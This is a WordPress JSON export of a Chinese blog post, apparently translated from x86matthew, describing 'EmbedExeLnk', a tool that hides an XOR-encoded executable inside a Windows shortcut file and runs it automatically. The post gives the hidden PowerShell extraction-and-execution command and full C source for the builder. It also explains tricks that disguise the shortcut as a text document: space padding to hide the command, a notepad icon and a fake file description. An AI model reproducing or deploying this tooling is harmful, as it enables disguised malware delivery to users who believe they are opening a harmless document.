{"id":1571,"date":"2023-03-13T12:43:46","date_gmt":"2023-03-13T04:43:46","guid":{"rendered":"https:\/\/www.aqwu.net\/wp\/?p=1571"},"modified":"2023-03-13T12:45:38","modified_gmt":"2023-03-13T04:45:38","slug":"embedexelnk-%e5%9c%a8-lnk-%e4%b8%ad%e5%b5%8c%e5%85%a5-exe-%e5%b9%b6%e8%87%aa%e5%8a%a8%e6%89%a7%e8%a1%8c","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=1571","title":{"rendered":"EmbedExeLnk &#8211; \u5728 LNK \u4e2d\u5d4c\u5165 EXE \u5e76\u81ea\u52a8\u6267\u884c"},"content":{"rendered":"\n<p>\u6211\u5728\u91ce\u5916\u770b\u5230\u4e86\u5404\u79cd\u6076\u610fLNK\u6587\u4ef6\u3002\u8fd9\u4e9b\u94fe\u63a5\u6587\u4ef6\u901a\u5e38\u6267\u884c\u4e0b\u8f7d\u5916\u90e8\u6709\u6548\u8d1f\u8f7d\u7684\u811a\u672c\uff08Powershell\uff0cVBScript\u7b49\uff09\u3002<\/p>\n\n\n\n<p>\u6211\u7ed9\u81ea\u5df1\u8bbe\u5b9a\u4e86\u4e00\u4e2a\u6311\u6218\uff0c\u5373\u521b\u5efa\u4e00\u4e2a\u5d4c\u5165\u4e86 EXE \u6587\u4ef6\u7684 LNK \u6587\u4ef6\uff0c\u800c\u65e0\u9700\u5916\u90e8\u4e0b\u8f7d\u3002<\/p>\n\n\n\n<p>\u8fd9\u662f\u901a\u8fc7\u521b\u5efa\u4e00\u4e2a LNK \u6587\u4ef6\u6765\u5b9e\u73b0\u7684\uff0c\u8be5\u6587\u4ef6\u672b\u5c3e\u9644\u52a0\u4e86 EXE \u6587\u4ef6\u3002LNK \u6587\u4ef6\u6267\u884c\u4e00\u4e9b Powershell \u547d\u4ee4\u4ee5\u4ece LNK \u672b\u5c3e\u8bfb\u53d6 EXE \u7684\u5185\u5bb9\uff0c\u5c06\u5176\u590d\u5236\u5230 %TEMP% \u6587\u4ef6\u5939\u4e2d\u7684\u6587\u4ef6\uff0c\u7136\u540e\u6267\u884c\u5b83\u3002<\/p>\n\n\n\n<p>\u6211\u5f00\u53d1\u4e86\u4e00\u4e2a\u4ece\u76ee\u6807EXE\u6587\u4ef6\u521b\u5efaLNK\u7684\u7a0b\u5e8f\u3002<\/p>\n\n\n\n<p>\u6b64\u65b9\u6cd5\u9047\u5230\u4e86\u4e00\u4e9b\u95ee\u9898\uff1a<\/p>\n\n\n\n<p>1.<strong>\u67e5\u627eLNK\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u3002<\/strong><br><em>\u6267\u884cPowershell\u547d\u4ee4\u4ee5\u4eceLNK\u4e2d\u63d0\u53d6EXE\u65f6\uff0c\u6211\u4eec\u4e0d\u77e5\u9053\u5df2\u6267\u884c\u7684LNK\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u3002\u6211\u4eec\u53ef\u4ee5\u5bf9\u6587\u4ef6\u540d\u8fdb\u884c\u786c\u7f16\u7801\uff0c\u4f46\u8fd9\u4e0d\u662f\u4e00\u4e2a\u53ef\u9760\u7684\u4fee\u590d\u7a0b\u5e8f\u3002\u901a\u8fc7\u5c06 LNK \u6587\u4ef6\u7684\u603b\u5927\u5c0f\u5b58\u50a8\u5728 Powershell \u547d\u4ee4\u4e2d\u5e76\u9009\u4e2d\u6240\u6709 * \u6765\u89e3\u51b3\u6b64\u95ee\u9898\u3002LNK \u6587\u4ef6\uff0c\u4ee5\u67e5\u627e\u6587\u4ef6\u5927\u5c0f\u5339\u914d\u7684\u6587\u4ef6\u3002<\/em><\/p>\n\n\n\n<p>2.&nbsp;<strong>\u67e5\u627e LNK \u4e2d EXE \u6570\u636e\u7684\u504f\u79fb\u91cf\u3002<\/strong><br><em>\u901a\u8fc7\u5728Powershell\u547d\u4ee4\u4e2d\u5b58\u50a8\u539f\u59cbLNK\u6587\u4ef6\u7684\u957f\u5ea6\uff08\u4e0d\u5305\u62ec\u9644\u52a0\u7684EXE\u6570\u636e\uff09\u6765\u89e3\u51b3\u6b64\u95ee\u9898\u3002<\/em><\/p>\n\n\n\n<p>3.&nbsp;<strong>\u67e5\u770b LNK \u6587\u4ef6\u7684\u201c\u5c5e\u6027\u201d\u65f6\uff0c\u53ef\u4ee5\u770b\u5230 Powershell \u547d\u4ee4\u3002<\/strong><br><em>\u6b64\u95ee\u9898\u5df2\u901a\u8fc7\u5728\u76ee\u6807\u5b57\u6bb5\u524d\u9762\u52a0\u4e0a 512 \u4e2a\u7a7a\u683c\u5b57\u7b26\u6765\u4fee\u590d\u3002\u8fd9\u4f1a\u6ea2\u51fa\u201c\u5c5e\u6027\u201d\u5bf9\u8bdd\u6846\u4e2d\u7684\u6587\u672c\u5b57\u6bb5\uff0c\u4ec5\u663e\u793a\u7a7a\u683c\u3002<\/em><\/p>\n\n\n\n<p><img decoding=\"async\" src=\"https:\/\/www.x86matthew.com\/img\/lnk_target.png\"><\/p>\n\n\n\n<p>4.&nbsp;<strong>LNK \u6587\u4ef6\u6709\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u56fe\u6807\u3002<\/strong><br><em>\u6b64\u95ee\u9898\u5df2\u901a\u8fc7\u5c06\u56fe\u6807\u4f4d\u7f6e\uff08\u4f7f\u7528 HasIconLocation \u6807\u5fd7\uff09\u8bbe\u7f6e\u4e3a\u201c%windir%\\system32\\notepad.exe\u201d\u6765\u4fee\u590d\u3002<\/em><\/p>\n\n\n\n<p><img decoding=\"async\" src=\"https:\/\/www.x86matthew.com\/img\/lnk_icon.png\"><\/p>\n\n\n\n<p>5.&nbsp;<strong>\u5c06\u9f20\u6807\u60ac\u505c\u5728 LNK \u6587\u4ef6\u4e0a\u4f1a\u5c06\u4f4d\u7f6e\u663e\u793a\u4e3a\u201ccmd\u201d\u3002<\/strong><br><img decoding=\"async\" src=\"https:\/\/www.x86matthew.com\/img\/lnk_location_1.png\"><\/p>\n\n\n\n<p><em>\u6b64\u95ee\u9898\u5df2\u901a\u8fc7\u5c06\u5feb\u6377\u65b9\u5f0f\u63cf\u8ff0\uff08\u4f7f\u7528 HasName \u6807\u5fd7\uff09\u8bbe\u7f6e\u4e3a\u201c\u7c7b\u578b\uff1a\u6587\u672c\u6587\u6863\\n\u5927\u5c0f\uff1a5.23 KB\\n\u4fee\u6539\u65e5\u671f\uff1a01\/02\/2020 11\uff1a23\u201d\u6765\u4fee\u590d\u3002<\/em><\/p>\n\n\n\n<p><img decoding=\"async\" src=\"https:\/\/www.x86matthew.com\/img\/lnk_location_2.png\"><\/p>\n\n\n\n<p>6.&nbsp;<strong>\u5728\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u5668\u4e2d\u6253\u5f00 LNK \u6587\u4ef6\u65f6\uff0cEXE \u6587\u4ef6\u6e05\u6670\u53ef\u89c1\u3002<\/strong><br><em>\u901a\u8fc7\u4f7f\u7528XOR\u201c\u52a0\u5bc6\u201dEXE\u6587\u4ef6\u6570\u636e\u7684\u6bcf\u4e2a\u5b57\u8282\u5e76\u4f7f\u7528Powershell\u201c\u89e3\u5bc6\u201d\u5b83\uff0c\u53ef\u4ee5\u6539\u5584\u8fd9\u4e00\u70b9\u3002<\/em><\/p>\n\n\n\n<p>\u5b8c\u6574\u7684 LNK \u76ee\u6807\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>cmd \/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq &#91;TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file&#91;$i] = $file&#91;$i] -bxor 0x77 }; $path = '%temp%\\tmp' + (Get-Random) + '.exe'; sc $path (&#91;byte&#91;]]($file^| select -Skip &#91;LNK_FILE_SIZE_EXCLUDING_EXE])) -Encoding Byte; ^&amp; $path;<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574\u7684\u6982\u5ff5\u9a8c\u8bc1\u7a0b\u5e8f\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n\n#define INVALID_SET_FILE_POINTER 0xFFFFFFFF\n\n#define HasName 0x00000004\n#define HasArguments 0x00000020\n#define HasIconLocation 0x00000040\n#define IsUnicode 0x00000080\n#define HasExpString 0x00000200\n#define PreferEnvironmentPath 0x02000000\n\nstruct ShellLinkHeaderStruct\n{\n\tDWORD dwHeaderSize;\n\tCLSID LinkCLSID;\n\tDWORD dwLinkFlags;\n\tDWORD dwFileAttributes;\n\tFILETIME CreationTime;\n\tFILETIME AccessTime;\n\tFILETIME WriteTime;\n\tDWORD dwFileSize;\n\tDWORD dwIconIndex;\n\tDWORD dwShowCommand;\n\tWORD wHotKey;\n\tWORD wReserved1;\n\tDWORD dwReserved2;\n\tDWORD dwReserved3;\n};\n\nstruct EnvironmentVariableDataBlockStruct\n{\n\tDWORD dwBlockSize;\n\tDWORD dwBlockSignature;\n\tchar szTargetAnsi&#91;MAX_PATH];\n\twchar_t wszTargetUnicode&#91;MAX_PATH];\n};\n\nDWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription)\n{\n\tHANDLE hLinkFile = NULL;\n\tHANDLE hExeFile = NULL;\n\tShellLinkHeaderStruct ShellLinkHeader;\n\tEnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock;\n\tDWORD dwBytesWritten = 0;\n\tWORD wLinkDescriptionLength = 0;\n\twchar_t wszLinkDescription&#91;512];\n\tWORD wCommandLineArgumentsLength = 0;\n\twchar_t wszCommandLineArguments&#91;8192];\n\tWORD wIconLocationLength = 0;\n\twchar_t wszIconLocation&#91;512];\n\tBYTE bExeDataBuffer&#91;1024];\n\tDWORD dwBytesRead = 0;\n\tDWORD dwEndOfLinkPosition = 0;\n\tDWORD dwCommandLineArgsStartPosition = 0;\n\twchar_t *pCmdLinePtr = NULL;\n\twchar_t wszOverwriteSkipBytesValue&#91;16];\n\twchar_t wszOverwriteSearchLnkFileSizeValue&#91;16];\n\tBYTE bXorEncryptValue = 0;\n\tDWORD dwTotalFileSize = 0;\n\n\t\/\/ set xor encrypt value\n\tbXorEncryptValue = 0x77;\n\n\t\/\/ create link file\n\thLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif(hLinkFile == INVALID_HANDLE_VALUE)\n\t{\n\t\tprintf(\"Failed to create output file\\n\");\n\t\treturn 1;\n\t}\n\n\t\/\/ initialise link header\n\tmemset((void*)&amp;ShellLinkHeader, 0, sizeof(ShellLinkHeader));\n\tShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader);\n\tCLSIDFromString(L\"{00021401-0000-0000-C000-000000000046}\", &amp;ShellLinkHeader.LinkCLSID);\n\tShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation;\n\tShellLinkHeader.dwFileAttributes = 0;\n\tShellLinkHeader.CreationTime.dwHighDateTime = 0;\n\tShellLinkHeader.CreationTime.dwLowDateTime = 0;\n\tShellLinkHeader.AccessTime.dwHighDateTime = 0;\n\tShellLinkHeader.AccessTime.dwLowDateTime = 0;\n\tShellLinkHeader.WriteTime.dwHighDateTime = 0;\n\tShellLinkHeader.WriteTime.dwLowDateTime = 0;\n\tShellLinkHeader.dwFileSize = 0;\n\tShellLinkHeader.dwIconIndex = 0;\n\tShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE;\n\tShellLinkHeader.wHotKey = 0;\n\n\t\/\/ write ShellLinkHeader\n\tif(WriteFile(hLinkFile, (void*)&amp;ShellLinkHeader, sizeof(ShellLinkHeader), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ set link description\n\tmemset(wszLinkDescription, 0, sizeof(wszLinkDescription));\n\tmbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) \/ sizeof(wchar_t)) - 1);\n\twLinkDescriptionLength = (WORD)wcslen(wszLinkDescription);\n\n\t\/\/ write LinkDescriptionLength\n\tif(WriteFile(hLinkFile, (void*)&amp;wLinkDescriptionLength, sizeof(WORD), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ write LinkDescription\n\tif(WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ set target command-line\n\tmemset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments));\n\t_snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) \/ sizeof(wchar_t)) - 1, L\"%512S\/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file&#91;$i] = $file&#91;$i] -bxor 0x%02X }; $path = '%%temp%%\\\\tmp' + (Get-Random) + '.exe'; sc $path (&#91;byte&#91;]]($file ^| select -Skip 000000)) -Encoding Byte; ^&amp; $path;\", \"\", bXorEncryptValue);\n\twCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments);\n\n\t\/\/ write CommandLineArgumentsLength\n\tif(WriteFile(hLinkFile, (void*)&amp;wCommandLineArgumentsLength, sizeof(WORD), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ store start of command-line arguments position\n\tdwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL);\n\n\t\/\/ write CommandLineArguments\n\tif(WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ set link icon path\n\tmemset(wszIconLocation, 0, sizeof(wszIconLocation));\n\tmbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) \/ sizeof(wchar_t)) - 1);\n\twIconLocationLength = (WORD)wcslen(wszIconLocation);\n\n\t\/\/ write IconLocationLength\n\tif(WriteFile(hLinkFile, (void*)&amp;wIconLocationLength, sizeof(WORD), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ write IconLocation\n\tif(WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ initialise environment variable data block\n\tmemset((void*)&amp;EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock));\n\tEnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock);\n\tEnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001;\n\tstrncpy(EnvironmentVariableDataBlock.szTargetAnsi, \"%windir%\\\\system32\\\\cmd.exe\", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1);\n\tmbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) \/ sizeof(wchar_t)) - 1);\n\n\t\/\/ write EnvironmentVariableDataBlock\n\tif(WriteFile(hLinkFile, (void*)&amp;EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ store end of link data position\n\tdwEndOfLinkPosition = GetFileSize(hLinkFile, NULL);\n\n\t\/\/ open target exe file\n\thExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif(hExeFile == INVALID_HANDLE_VALUE)\n\t{\n\t\tprintf(\"Failed to open exe file\\n\");\n\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ append exe file to the end of the lnk file\n\tfor(;;)\n\t{\n\t\t\/\/ read data from exe file\n\t\tif(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &amp;dwBytesRead, NULL) == 0)\n\t\t{\n\t\t\t\/\/ error\n\t\t\tCloseHandle(hExeFile);\n\t\t\tCloseHandle(hLinkFile);\n\n\t\t\treturn 1;\n\t\t}\n\n\t\t\/\/ check for end of file\n\t\tif(dwBytesRead == 0)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\t\/\/ \"encrypt\" the exe file data\n\t\tfor(DWORD i = 0; i &lt; dwBytesRead; i++)\n\t\t{\n\t\t\tbExeDataBuffer&#91;i] ^= bXorEncryptValue;\n\t\t}\n\n\t\t\/\/ write data to lnk file\n\t\tif(WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &amp;dwBytesWritten, NULL) == 0)\n\t\t{\n\t\t\t\/\/ error\n\t\t\tCloseHandle(hExeFile);\n\t\t\tCloseHandle(hLinkFile);\n\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\t\/\/ close exe file handle\n\tCloseHandle(hExeFile);\n\n\t\/\/ store total file size\n\tdwTotalFileSize = GetFileSize(hLinkFile, NULL);\n\n\t\/\/ find the offset value of the number of bytes to skip in the command-line arguments\n\tpCmdLinePtr = wcsstr(wszCommandLineArguments, L\"select -Skip 000000)\");\n\tif(pCmdLinePtr == NULL)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\tpCmdLinePtr += strlen(\"select -Skip \");\n\n\t\/\/ move the file pointer back to the \"000000\" value in the command-line arguments\n\tif(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ overwrite link file size\n\tmemset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue));\n\t_snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) \/ sizeof(wchar_t)) - 1, L\"%06u\", dwEndOfLinkPosition);\n\tif(WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ find the offset value of the total lnk file length in the command-line arguments\n\tpCmdLinePtr = wcsstr(wszCommandLineArguments, L\"_.length -eq 0x00000000}\");\n\tif(pCmdLinePtr == NULL)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\tpCmdLinePtr += strlen(\"_.length -eq \");\n\n\t\/\/ move the file pointer back to the \"0x00000000\" value in the command-line arguments\n\tif(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ overwrite link file size\n\tmemset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue));\n\t_snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) \/ sizeof(wchar_t)) - 1, L\"0x%08X\", dwTotalFileSize);\n\tif(WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &amp;dwBytesWritten, NULL) == 0)\n\t{\n\t\t\/\/ error\n\t\tCloseHandle(hLinkFile);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ close output file handle\n\tCloseHandle(hLinkFile);\n\n\treturn 0;\n}\n\nint main(int argc, char *argv&#91;])\n{\n\tchar *pExePath = NULL;\n\tchar *pOutputLinkPath = NULL;\n\n\tprintf(\"EmbedExeLnk - www.x86matthew.com\\n\\n\");\n\n\tif(argc != 3)\n\t{\n\t\tprintf(\"Usage: %s &#91;exe_path] &#91;output_lnk_path]\\n\\n\", argv&#91;0]);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ get params\n\tpExePath = argv&#91;1];\n\tpOutputLinkPath = argv&#91;2];\n\n\t\/\/ create a link file containing the target exe\n\tif(CreateLinkFile(pExePath, pOutputLinkPath, \"%windir%\\\\system32\\\\notepad.exe\", \"Type: Text Document\\nSize: 5.23 KB\\nDate modified: 01\/02\/2020 11:23\") != 0)\n\t{\n\t\tprintf(\"Error\\n\");\n\n\t\treturn 1;\n\t}\n\n\tprintf(\"Finished\\n\");\n\n\treturn 0;\n}<\/code><\/pre>\n\n\n\n<p><a href=\"https:\/\/www.x86matthew.com\/sample\/x86matthew.lnk\">\u4e0b\u8f7d\u793a\u4f8bLNK\u6587\u4ef6<\/a><br>\uff08\u8fd9\u5c06\u6267\u884c\u6211\u5728\u6c47\u7f16\u4e2d\u7f16\u5199\u7684\u8c03\u7528MessageBoxA\u7684\u5c0f\u7a0b\u5e8f\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.x86matthew.com\/img\/lnk_exec.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u539f\u6587\u94fe\u63a5\uff1a<a href=\"https:\/\/www.x86matthew.com\/view_post?id=embed_exe_lnk\">x86matthew &#8211; EmbedExeLnk &#8211; Embedding an EXE inside a LNK with automatic execution<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6211\u5728\u91ce\u5916\u770b\u5230\u4e86\u5404\u79cd\u6076\u610fLNK\u6587\u4ef6\u3002\u8fd9\u4e9b\u94fe\u63a5\u6587\u4ef6\u901a\u5e38\u6267\u884c\u4e0b\u8f7d\u5916\u90e8\u6709\u6548\u8d1f\u8f7d\u7684\u811a\u672c\uff08Powershell\uff0cVBScr [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[45],"tags":[349,348,73],"class_list":["post-1571","post","type-post","status-publish","format-standard","hentry","category-x86matthew-com","tag-exe","tag-lnk","tag-windows"],"views":1848,"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/1571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1571"}],"version-history":[{"count":3,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/1571\/revisions"}],"predecessor-version":[{"id":1574,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/1571\/revisions\/1574"}],"wp:attachment":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}